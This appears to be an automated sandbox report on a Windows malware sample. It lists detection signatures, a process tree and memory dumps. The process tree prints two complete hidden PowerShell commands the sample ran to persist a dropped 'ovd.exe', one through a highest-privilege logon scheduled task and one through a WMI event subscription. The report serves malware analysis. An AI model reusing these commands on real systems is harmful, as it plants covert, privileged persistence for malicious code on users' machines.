Analysis
- max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
24/08/2026, 00:45
General
- Target agent-2455554657.exe
- Size 26.4MB
- Sample260824-a36tysbf96
- SHA256 dcfbf63780823ff659361c95c2eb8fd451ca0c8e328b82a4894d8f985df47c54
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\agent-2455554657.exe"C:\Users\Admin\AppData\Local\Temp\agent-2455554657.exe"1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Checks processor information in registry
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe"1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4fd04fd0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f4fd04fd0'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c4fd04fd0'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f4fd04fd0'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c4fd04fd0'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_osyschub.rmw.ps1
agent-133714473.tmp
memory/3232-16-0x0000021D69570000-0x0000021D69592000-memory.dmp
memory/3232-19-0x0000021D695E0000-0x0000021D695FE000-memory.dmp
memory/3232-20-0x0000021D69600000-0x0000021D696B2000-memory.dmp
memory/3232-21-0x0000021D696C0000-0x0000021D696CA000-memory.dmp
memory/3232-22-0x0000021D69B60000-0x0000021D69B7E000-memory.dmp
memory/6012-28-0x00007FF67B200000-0x00007FF67ECBF000-memory.dmp
memory/6060-29-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-30-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-32-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-34-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-35-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-37-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-38-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-40-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp
memory/6060-41-0x00007FF792E00000-0x00007FF7968BF000-memory.dmp